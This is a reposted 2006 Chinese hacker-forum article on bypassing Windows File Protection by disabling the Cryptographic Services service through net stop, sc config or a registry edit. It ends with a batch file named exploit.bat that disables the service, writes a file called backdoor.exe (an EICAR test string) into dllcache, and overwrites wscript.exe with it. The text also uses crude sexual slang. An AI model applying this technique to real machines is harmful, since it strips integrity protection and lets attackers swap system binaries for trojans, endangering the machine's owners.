PS:翻了一下安全焦点的老文章,觉得有用就转载过来了,原文地址:https://www.xfocus.net/bbs/index.php?act=SE&f=2&t=58099&p=269293。
昨晚花了好多时间写的绕过WFP保护的文章,竟然是错的,我感觉很不爽,我决定再次挑战一下WFP。
擒贼先擒王,打蛇要打七寸,所以只要我们抓住了WFP的小jj,它就不能勃起了。
WFP的小jj是谁呢,根据WFP的工作方式:
以下是引用片段: 在 WFP 收到受保护目录中的文件的目录更改通知后,就会触发这种保护机制。WFP 收到这一通知后,就会确定更改了哪个文件。如果此文件是受保护的文件,WFP 将在编录文件中查找文件签名,以确定新文件的版本是否正确。如果此文件的版本不正确,WFP 将使用高速缓存文件夹(如果文件位于高速缓存文件夹中)或安装源中的文件替换新文件。 |
wfp的小jj就是,编录文件,阉割了它,基本上,wfp就是废人了。
怎么阉割它呢,通过查阅葵花宝典(MSDN),欲练神功,必先自宫。我们知道 windows 里面有个服务叫做 Cryptographic Services,这个服务的作用是:
以下是引用片段: 提供三种管理服务: 编录数据库服务,它确定 Windows 文件的签名;受保护的根服务,它从此计算机添加和删除受信根证书颁发机构的证书;和密钥(Key)服务,它帮助注册此计算机获取证书。如果此服务被终止,这些管理服务将无法正常运行。如果此服务被禁用,任何依赖它的服务将无法启动。 |
干掉这个服务,就可以了。停止用 net stop,由于这个服务再电脑重启后会自动开启,所以我们用SC禁用它。
重要的补充:
XP sp2 以及 2k 由luoluo的测试
[16:57] <luoluo> cs 就是 cryptsvc.dll
[16:58] <luoluo> win xp中是svchost方式运行
[16:58] <luoluo> win 2000里 services进程里可以找到这个模块
非常重要的补充:
在大家的反复测试下,发现 CS 服务以及WFP的几个特性,CS服务在第一次关闭以后,会自动启用。
(往后 重复启动 停止 CS都不会自动启用了)
so,我想这就是 envymask 为什么测试会弹出框的原因。
有两个解决的办法:
1.利用luoluo提出的替换服务,把 cs 服务用其他服务替换,那么即使cs再次启动,也不能启检查作用。
2.修改注册表:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Hardware Profiles\0001\System\CurrentControlSet\Enum\ROOT\LEGACY_CRYPTSVC\0000,0 值为启用,1 值为禁用。为了彻底干掉cs服务,我们设值为1。
wfp 的特性,仅在系统文件被删除或者替换的时候,调用cs服务对其进行检测。
而当我们结束cs服务,删除或者替换系统文件以后,再次启动cs服务 wfp 不会对系统文件是否改动做检测,所以wfp的监控,是动态的。
写个 bat 实现,test pass in win 2003。
exploit.bat: @echo off rem cheat WFP check by ALLyeSNO rem my site : http://blog.donews.com/allyesno/ rem my email : shellget@hotmail.com echo plz waiting net stop to stop net stop "Cryptographic Services" echo. echo plz waiting sc config this service sc config "cryptsvc" start= disabled echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*>%systemroot%\system32\dllcache\backdoor.exe echo copy /y %systemroot%\system32\dllcache\wscript.exe %systemroot%\system32\dllcache\wscript.exe.bak copy /y %systemroot%\system32\dllcache\wscript.exe %systemroot%\system32\dllcache\wscript.exe.bak echo copy /y %systemroot%\system32\dllcache\backdoor.exe %systemroot%\system32\dllcache\wscript.exe copy /y %systemroot%\system32\dllcache\backdoor.exe %systemroot%\system32\dllcache\wscript.exe echo copy /y %systemroot%\system32\dllcache\backdoor.exe %systemroot%\system32\wscript.exe copy /y %systemroot%\system32\dllcache\backdoor.exe %systemroot%\system32\wscript.exe echo yeah we finished our work echo check the %systemroot%\system32\wscript.exe by dir echo n u c the file size,Good luck test by ALLyeSNO in Win2003 n WinXP OS echo echo thx:ZeTa,envymask,10,luoluo 4 test |
my site : http://blog.donews.com/allyesno/
my email : shellget@hotmail.com (只接收纯文本方式的邮件)
特别感谢:ZeTa,envymask 在Win2003,10在2k中的测试结果
luoluo 提出的替换服务的补充,以及,在 XP sp2 中的测试。
参考文献:
http://www.microsoft.com/china/winlogo/policies/signature-benefits.asp
http://support.microsoft.com/default.aspx?scid=kb;zh-cn;222193
http://support.microsoft.com/default.aspx?scid=kb;zh-tw;282784
http://support.microsoft.com/default.aspx?scid=kb;zh-cn;222193
allyesno 编辑于 2006-01-17 19:51